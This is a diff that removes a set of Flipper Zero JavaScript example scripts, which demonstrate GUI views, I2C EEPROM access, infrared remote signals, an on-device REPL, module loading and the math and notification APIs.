matrixSizeY: 2,
|
||||
}, [
|
||||
{ type: "button", x: 0, y: 0, matrixX: 0, matrixY: 0, icon: offIcons[0], iconSelected: offIcons[1] },
|
||||
{ type: "button", x: 30, y: 30, matrixX: 1, matrixY: 1, icon: powerIcons[0], iconSelected: powerIcons[1] },
|
||||
{ type: "label", x: 0, y: 50, text: "Label", font: "primary" },
|
||||
]),
|
||||
menu: menuView.makeWith({}, [
|
||||
{ label: "One", icon: settingsIcon },
|
||||
{ label: "Two", icon: settingsIcon },
|
||||
{ label: "three", icon: settingsIcon },
|
||||
]),
|
||||
numberKbd: numberInputView.makeWith({
|
||||
header: "Number input",
|
||||
defaultValue: 100,
|
||||
minValue: 0,
|
||||
maxValue: 200,
|
||||
}),
|
||||
popup: popupView.makeWith({
|
||||
header: "Hello",
|
||||
text: "I'm going to be gone\nin 2 seconds",
|
||||
}),
|
||||
viList: viListView.makeWith({}, [
|
||||
{ label: "One", variants: ["1", "1.0"] },
|
||||
{ label: "Two", variants: ["2", "2.0"] },
|
||||
]),
|
||||
demos: submenuView.makeWith({
|
||||
header: "Choose a demo",
|
||||
}, [
|
||||
"Hourglass screen",
|
||||
"Empty screen",
|
||||
"Text input & Dialog",
|
||||
"Byte input",
|
||||
"Text box",
|
||||
"File picker",
|
||||
"Widget",
|
||||
"Button menu",
|
||||
"Button panel",
|
||||
"Menu",
|
||||
"Number input",
|
||||
"Popup",
|
||||
"Var. item list",
|
||||
"Exit app",
|
||||
]),
|
||||
};
|
||||
|
||||
// Enable illegal filename symbols since we're not choosing filenames, gives more flexibility
|
||||
// Not available in all firmwares, good idea to check if it is supported
|
||||
if (doesSdkSupport(["gui-textinput-illegalsymbols"])) {
|
||||
views.keyboard.set("illegalSymbols", true);
|
||||
}
|
||||
|
||||
// demo selector
|
||||
eventLoop.subscribe(views.demos.chosen, function (_sub, index, gui, eventLoop, views) {
|
||||
if (index === 0) {
|
||||
gui.viewDispatcher.switchTo(views.loading);
|
||||
// the loading view captures all back events, preventing our navigation callback from firing
|
||||
// switch to the demo chooser after a second
|
||||
eventLoop.subscribe(eventLoop.timer("oneshot", 1000), function (_sub, _, gui, views) {
|
||||
gui.viewDispatcher.switchTo(views.demos);
|
||||
}, gui, views);
|
||||
} else if (index === 1) {
|
||||
gui.viewDispatcher.switchTo(views.empty);
|
||||
} else if (index === 2) {
|
||||
gui.viewDispatcher.switchTo(views.keyboard);
|
||||
} else if (index === 3) {
|
||||
gui.viewDispatcher.switchTo(views.bytekb);
|
||||
} else if (index === 4) {
|
||||
gui.viewDispatcher.switchTo(views.longText);
|
||||
} else if (index === 5) {
|
||||
let path = filePicker.pickFile("/ext", "*");
|
||||
if (path) {
|
||||
views.helloDialog.set("text", "You selected:\n" + path);
|
||||
} else {
|
||||
views.helloDialog.set("text", "You didn't select a file");
|
||||
}
|
||||
views.helloDialog.set("center", "Nice!");
|
||||
gui.viewDispatcher.switchTo(views.helloDialog);
|
||||
} else if (index === 6) {
|
||||
gui.viewDispatcher.switchTo(views.stopwatchWidget);
|
||||
} else if (index === 7) {
|
||||
gui.viewDispatcher.switchTo(views.buttonMenu);
|
||||
} else if (index === 8) {
|
||||
gui.viewDispatcher.switchTo(views.buttonPanel);
|
||||
} else if (index === 9) {
|
||||
gui.viewDispatcher.switchTo(views.menu);
|
||||
} else if (index === 10) {
|
||||
gui.viewDispatcher.switchTo(views.numberKbd);
|
||||
} else if (index === 11) {
|
||||
views.popup.set("timeout", 2000);
|
||||
gui.viewDispatcher.switchTo(views.popup);
|
||||
} else if (index === 12) {
|
||||
gui.viewDispatcher.switchTo(views.viList);
|
||||
} else if (index === 13) {
|
||||
eventLoop.stop();
|
||||
}
|
||||
}, gui, eventLoop, views);
|
||||
|
||||
// say hi after keyboard input
|
||||
eventLoop.subscribe(views.keyboard.input, function (_sub, name, gui, views) {
|
||||
views.keyboard.set("defaultText", name); // Remember for next usage
|
||||
views.helloDialog.set("text", "Hi " + name + "! :)");
|
||||
views.helloDialog.set("center", "Hi Flipper! :)");
|
||||
gui.viewDispatcher.switchTo(views.helloDialog);
|
||||
}, gui, views);
|
||||
|
||||
// go back after the greeting dialog
|
||||
eventLoop.subscribe(views.helloDialog.input, function (_sub, button, gui, views) {
|
||||
if (button === "center")
|
||||
gui.viewDispatcher.switchTo(views.demos);
|
||||
}, gui, views);
|
||||
|
||||
// show data after byte input
|
||||
eventLoop.subscribe(views.bytekb.input, function (_sub, data, gui, views) {
|
||||
let data_view = Uint8Array(data);
|
||||
let text = "0x";
|
||||
for (let i = 0; i < data_view.length; i++) {
|
||||
text += data_view[i].toString(16);
|
||||
}
|
||||
views.helloDialog.set("text", "You typed:\n" + text);
|
||||
views.helloDialog.set("center", "Cool!");
|
||||
gui.viewDispatcher.switchTo(views.helloDialog);
|
||||
}, gui, views);
|
||||
|
||||
// go to the demo chooser screen when the back key is pressed
|
||||
eventLoop.subscribe(gui.viewDispatcher.navigation, function (_sub, _, gui, views, eventLoop) {
|
||||
if (gui.viewDispatcher.currentView === views.demos) {
|
||||
eventLoop.stop();
|
||||
return;
|
||||
}
|
||||
gui.viewDispatcher.switchTo(views.demos);
|
||||
}, gui, views, eventLoop);
|
||||
|
||||
// go to the demo chooser screen when the right key is pressed on the widget screen
|
||||
eventLoop.subscribe(views.stopwatchWidget.button, function (_sub, buttonEvent, gui, views) {
|
||||
if (buttonEvent.key === "right" && buttonEvent.type === "short")
|
||||
gui.viewDispatcher.switchTo(views.demos);
|
||||
}, gui, views);
|
||||
|
||||
// count time
|
||||
eventLoop.subscribe(eventLoop.timer("periodic", 500), function (_sub, _item, views, stopwatchWidgetElements, halfSeconds) {
|
||||
let text = math.floor(halfSeconds / 2 / 60).toString();
|
||||
if (halfSeconds < 10 * 60 * 2)
|
||||
text = "0" + text;
|
||||
|
||||
text += (halfSeconds % 2 === 0) ? ":" : " ";
|
||||
|
||||
if (((halfSeconds / 2) % 60) < 10)
|
||||
text += "0";
|
||||
text += (math.floor(halfSeconds / 2) % 60).toString();
|
||||
|
||||
stopwatchWidgetElements[0].text = text;
|
||||
views.stopwatchWidget.setChildren(stopwatchWidgetElements);
|
||||
|
||||
halfSeconds++;
|
||||
return [views, stopwatchWidgetElements, halfSeconds];
|
||||
}, views, stopwatchWidgetElements, 0);
|
||||
|
||||
// go back after popup times out
|
||||
eventLoop.subscribe(views.popup.timeout, function (_sub, _item, gui, views) {
|
||||
gui.viewDispatcher.switchTo(views.demos);
|
||||
}, gui, views);
|
||||
|
||||
// button menu callback
|
||||
eventLoop.subscribe(views.buttonMenu.input, function (_sub, input, gui, views) {
|
||||
views.helloDialog.set("text", "You selected #" + input.index.toString());
|
||||
views.helloDialog.set("center", "Cool!");
|
||||
gui.viewDispatcher.switchTo(views.helloDialog);
|
||||
}, gui, views);
|
||||
|
||||
// button panel callback
|
||||
eventLoop.subscribe(views.buttonPanel.input, function (_sub, input, gui, views) {
|
||||
views.helloDialog.set("text", "You selected #" + input.index.toString());
|
||||
views.helloDialog.set("center", "Cool!");
|
||||
gui.viewDispatcher.switchTo(views.helloDialog);
|
||||
}, gui, views);
|
||||
|
||||
// menu callback
|
||||
eventLoop.subscribe(views.menu.chosen, function (_sub, index, gui, views) {
|
||||
views.helloDialog.set("text", "You selected #" + index.toString());
|
||||
views.helloDialog.set("center", "Cool!");
|
||||
gui.viewDispatcher.switchTo(views.helloDialog);
|
||||
}, gui, views);
|
||||
|
||||
// menu callback
|
||||
eventLoop.subscribe(views.numberKbd.input, function (_sub, number, gui, views) {
|
||||
views.helloDialog.set("text", "You typed " + number.toString());
|
||||
views.helloDialog.set("center", "Cool!");
|
||||
gui.viewDispatcher.switchTo(views.helloDialog);
|
||||
}, gui, views);
|
||||
|
||||
// ignore VI list
|
||||
eventLoop.subscribe(views.viList.valueUpdate, function (_sub, _item) {});
|
||||
|
||||
// run UI
|
||||
gui.viewDispatcher.switchTo(views.demos);
|
||||
eventLoop.run();
|
||||
@@ -1,51 +0,0 @@
|
||||
// Script cannot work without i2c module so check before
|
||||
checkSdkFeatures(["i2c"]);
|
||||
|
||||
// Connect an 24C32N EEPROM to the I2C bus of the board. SDA=pin 15, SCL=pin 16, VCC=pin 9, GND=pin 8.
|
||||
let i2c = require("i2c");
|
||||
|
||||
function i2c_find_first_device() {
|
||||
let addr = -1;
|
||||
for (let try_addr = 0; try_addr !== 0xff; try_addr++) {
|
||||
if (i2c.isDeviceReady(try_addr, 5)) {
|
||||
addr = try_addr;
|
||||
break;
|
||||
}
|
||||
}
|
||||
return addr;
|
||||
}
|
||||
|
||||
let addr = i2c_find_first_device();
|
||||
if (addr === -1) {
|
||||
print("I2C device not found");
|
||||
print("Please connect a 24C32N EEPROM I2C device to the Flipper Zero.");
|
||||
print("SDA=pin 15, SCL=pin 16, VCC=pin 9, GND=pin 8.");
|
||||
} else {
|
||||
print("I2C device found at address: " + addr.toString(16));
|
||||
delay(1000);
|
||||
|
||||
// first two bytes are the start address (0x0000)
|
||||
// the remaining bytes are the data to store.
|
||||
// can also use Uint8Array([0x00, 0x00, ...]) as write parameter
|
||||
i2c.write(addr, [0x00, 0x00, 0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47]);
|
||||
while (i2c.isDeviceReady(addr, 9) === false) {
|
||||
print("Waiting for device to be ready...");
|
||||
}
|
||||
|
||||
// write the address to read from (we start at address 0x0001)
|
||||
// read 3 bytes - 0x42, 0x43, 0x44
|
||||
let data_buf = i2c.writeRead(addr, [0x00, 0x01], 3, 100);
|
||||
let data = Uint8Array(data_buf);
|
||||
print("Read bytes: " + data.length.toString());
|
||||
for (let i = 0; i < data.length; i++) {
|
||||
print("data[" + i.toString() + "] = " + data[i].toString(16));
|
||||
}
|
||||
|
||||
// read two more bytes (0x45, 0x46) from current address
|
||||
data_buf = i2c.read(addr, 2);
|
||||
data = Uint8Array(data_buf);
|
||||
print("Read bytes: " + data.length.toString());
|
||||
for (let i = 0; i < data.length; i++) {
|
||||
print("data[" + i.toString() + "] = " + data[i].toString(16));
|
||||
}
|
||||
}
|
||||
@@ -1,47 +0,0 @@
|
||||
checkSdkFeatures(["infrared-send"]);
|
||||
let infrared = require("infrared");
|
||||
|
||||
print("Sending Samsung32 signal (lowers volume)...");
|
||||
infrared.sendSignal("Samsung32", 0x00000007, 0x0000000b);
|
||||
delay(1000);
|
||||
print("Sending raw signal... (Fujitsu AC)");
|
||||
infrared.sendRawSignal(
|
||||
[
|
||||
3298, 1571, 442, 368, 442, 367, 443, 1180, 442, 370, 440, 1181, 442, 368,
|
||||
442, 367, 442, 368, 442, 1180, 443, 1180, 442, 368, 441, 367, 442, 369, 441,
|
||||
1180, 442, 1180, 443, 368, 442, 369, 441, 368, 442, 368, 442, 368, 442, 368,
|
||||
441, 368, 441, 368, 442, 368, 442, 368, 442, 367, 442, 368, 442, 366, 444,
|
||||
1181, 442, 368, 441, 367, 442, 368, 442, 367, 442, 369, 441, 367, 443, 367,
|
||||
442, 1180, 442, 368, 442, 368, 442, 368, 441, 368, 441, 1180, 442, 1180,
|
||||
442, 1181, 442, 1181, 441, 1181, 442, 1181, 442, 1181, 442, 1181, 442, 369,
|
||||
441, 368, 441, 1182, 442, 367, 443, 367, 443, 367, 442, 368, 442, 1181, 441,
|
||||
369, 441, 369, 441, 369, 441, 1180, 442, 1181, 441, 369, 442, 368, 442, 367,
|
||||
442, 368, 441, 1181, 441, 1183, 440, 368, 442, 368, 441, 369, 441, 1181,
|
||||
442, 368, 442, 367, 443, 1181, 442, 368, 442, 369, 441, 368, 441, 369, 440,
|
||||
368, 442, 367, 443, 367, 442, 367, 442, 367, 442, 368, 442, 369, 441, 369,
|
||||
441, 368, 442, 369, 441, 368, 441, 367, 443, 368, 442, 367, 442, 369, 441,
|
||||
369, 441, 368, 441, 367, 442, 367, 442, 368, 442, 368, 441, 368, 442, 368,
|
||||
442, 368, 441, 367, 442, 367, 442, 368, 442, 368, 441, 368, 442, 369, 441,
|
||||
368, 441, 367, 442, 368, 441, 368, 442, 368, 442, 368, 442, 368, 442, 367,
|
||||
442, 1181, 442, 367, 442, 368, 441, 1181, 442, 1182, 441, 1181, 442, 1181,
|
||||
442, 1181, 441, 368, 442, 368, 442, 369, 441,
|
||||
],
|
||||
true,
|
||||
{ frequency: 38000, dutyCycle: 0.33 },
|
||||
);
|
||||
delay(1000);
|
||||
print(
|
||||
"Sending raw signal... (Fujitsu AC) with default frequency and duty cycle",
|
||||
);
|
||||
infrared.sendRawSignal([
|
||||
3300, 1596, 416, 362, 448, 363, 446, 1177, 445, 363, 446, 1177, 445, 362, 448,
|
||||
362, 448, 364, 446, 1178, 444, 1207, 415, 362, 448, 362, 448, 363, 447, 1177,
|
||||
445, 1177, 446, 362, 448, 362, 447, 362, 447, 362, 448, 363, 447, 362, 447,
|
||||
363, 447, 363, 447, 363, 446, 363, 446, 362, 447, 362, 447, 363, 446, 1177,
|
||||
445, 363, 447, 364, 446, 362, 448, 363, 447, 363, 446, 362, 447, 362, 448,
|
||||
1175, 447, 363, 447, 364, 446, 362, 448, 362, 448, 1176, 446, 362, 448, 362,
|
||||
448, 363, 446, 362, 448, 362, 448, 363, 447, 1175, 446, 394, 415, 1176, 446,
|
||||
1178, 444, 1174, 449, 1177, 445, 1180, 443, 1179, 443,
|
||||
]);
|
||||
|
||||
print("Success");
|
||||
@@ -1,93 +0,0 @@
|
||||
let eventLoop = require("event_loop");
|
||||
let gui = require("gui");
|
||||
let dialog = require("gui/dialog");
|
||||
let textInput = require("gui/text_input");
|
||||
let loading = require("gui/loading");
|
||||
let storage = require("storage");
|
||||
|
||||
// No eval() or exec() so need to run code from file, and filename must be unique
|
||||
storage.makeDirectory("/ext/.tmp");
|
||||
storage.makeDirectory("/ext/.tmp/js");
|
||||
storage.rmrf("/ext/.tmp/js/repl")
|
||||
storage.makeDirectory("/ext/.tmp/js/repl")
|
||||
let ctx = {
|
||||
tmpTemplate: "/ext/.tmp/js/repl/",
|
||||
tmpNumber: 0,
|
||||
persistentScope: {},
|
||||
};
|
||||
|
||||
let views = {
|
||||
dialog: dialog.makeWith({
|
||||
header: "Interactive Console",
|
||||
text: "Press OK to Start",
|
||||
center: "Run Some JS"
|
||||
}),
|
||||
textInput: textInput.makeWith({
|
||||
header: "Type JavaScript Code:",
|
||||
minLength: 0,
|
||||
maxLength: 256,
|
||||
defaultText: "2+2",
|
||||
defaultTextClear: true,
|
||||
}),
|
||||
loading: loading.make(),
|
||||
};
|
||||
|
||||
eventLoop.subscribe(views.dialog.input, function (_sub, button, gui, views) {
|
||||
if (button === "center") {
|
||||
gui.viewDispatcher.switchTo(views.textInput);
|
||||
}
|
||||
}, gui, views);
|
||||
|
||||
eventLoop.subscribe(views.textInput.input, function (_sub, text, gui, views, ctx) {
|
||||
gui.viewDispatcher.switchTo(views.loading);
|
||||
|
||||
let path = ctx.tmpTemplate + (ctx.tmpNumber++).toString();
|
||||
let file = storage.openFile(path, "w", "create_always");
|
||||
file.write(text);
|
||||
file.close();
|
||||
|
||||
// Hide GUI before running, we want to see console and avoid deadlock if code fails
|
||||
gui.viewDispatcher.sendTo("back");
|
||||
let result = load(path, ctx.persistentScope); // Load runs JS and returns last value on stack
|
||||
storage.remove(path);
|
||||
|
||||
// Must convert to string explicitly
|
||||
if (result === null) { // mJS: typeof null === "null", ECMAScript: typeof null === "object", IDE complains when checking "null" type
|
||||
result = "null";
|
||||
} else if (typeof result === "string") {
|
||||
result = "'" + result + "'";
|
||||
} else if (typeof result === "number") {
|
||||
result = result.toString();
|
||||
} else if (typeof result === "bigint") { // mJS doesn't support BigInt() but might aswell check
|
||||
result = "bigint";
|
||||
} else if (typeof result === "boolean") {
|
||||
result = result ? "true" : "false";
|
||||
} else if (typeof result === "symbol") { // mJS doesn't support Symbol() but might aswell check
|
||||
result = "symbol";
|
||||
} else if (typeof result === "undefined") {
|
||||
result = "undefined";
|
||||
} else if (typeof result === "object") {
|
||||
result = "object"; // JSON.stringify() is not implemented
|
||||
} else if (typeof result === "function") {
|
||||
result = "function";
|
||||
} else {
|
||||
result = "unknown type: " + typeof result;
|
||||
}
|
||||
|
||||
gui.viewDispatcher.sendTo("front");
|
||||
views.dialog.set("header", "JS Returned:");
|
||||
views.dialog.set("text", result);
|
||||
gui.viewDispatcher.switchTo(views.dialog);
|
||||
views.textInput.set("defaultText", text);
|
||||
}, gui, views, ctx);
|
||||
|
||||
eventLoop.subscribe(gui.viewDispatcher.navigation, function (_sub, _, eventLoop) {
|
||||
eventLoop.stop();
|
||||
}, eventLoop);
|
||||
|
||||
gui.viewDispatcher.switchTo(views.dialog);
|
||||
|
||||
// Message behind GUI if something breaks
|
||||
print("If you're stuck here, something went wrong, re-run the script")
|
||||
eventLoop.run();
|
||||
print("\n\nFinished correctly :)")
|
||||
@@ -1,3 +0,0 @@
|
||||
let math = load(__dirname + "/load_api.js");
|
||||
let result = math.add(5, 10);
|
||||
print(result);
|
||||
@@ -1,3 +0,0 @@
|
||||
({
|
||||
add: function (a, b) { return a + b; },
|
||||
})
|
||||
@@ -1,24 +0,0 @@
|
||||
let math = require("math");
|
||||
|
||||
print("math.abs(-5):", math.abs(-5));
|
||||
print("math.acos(0.5):", math.acos(0.5));
|
||||
print("math.acosh(2):", math.acosh(2));
|
||||
print("math.asin(0.5):", math.asin(0.5));
|
||||
print("math.asinh(2):", math.asinh(2));
|
||||
print("math.atan(1):", math.atan(1));
|
||||
print("math.atan2(1, 1):", math.atan2(1, 1));
|
||||
print("math.atanh(0.5):", math.atanh(0.5));
|
||||
print("math.cbrt(27):", math.cbrt(27));
|
||||
print("math.ceil(5.3):", math.ceil(5.3));
|
||||
print("math.clz32(1):", math.clz32(1));
|
||||
print("math.cos(math.PI):", math.cos(math.PI));
|
||||
print("math.exp(1):", math.exp(1));
|
||||
print("math.floor(5.7):", math.floor(5.7));
|
||||
print("math.max(3, 5):", math.max(3, 5));
|
||||
print("math.min(3, 5):", math.min(3, 5));
|
||||
print("math.pow(2, 3):", math.pow(2, 3));
|
||||
print("math.random():", math.random());
|
||||
print("math.sign(-5):", math.sign(-5));
|
||||
print("math.sin(math.PI/2):", math.sin(math.PI / 2));
|
||||
print("math.sqrt(25):", math.sqrt(25));
|
||||
print("math.trunc(5.7):", math.trunc(5.7));
|
||||
@@ -1,9 +0,0 @@
|
||||
let notify = require("notification");
|
||||
notify.error();
|
||||
delay(1000);
|
||||
notify.success();
|
||||
delay(1000);
|
||||
for (let i = 0; i < 10; i++) {
|
||||
notify.blink("red", "short");
|
||||
delay(500);
|
||||
}
|
||||
@@ -1,9 +0,0 @@
|
||||
let storage = require("storage");
|
||||
|
||||
print("script has __dirname of" + __dirname);
|
||||
print("script has __filename of" + __filename);
|
||||
if (storage.fileExists(__dirname + "/math.js")) {
|
||||
print("math.js exist here.");
|
||||
} else {
|
||||
print("math.js does not exist here.");
|
||||
}
|
||||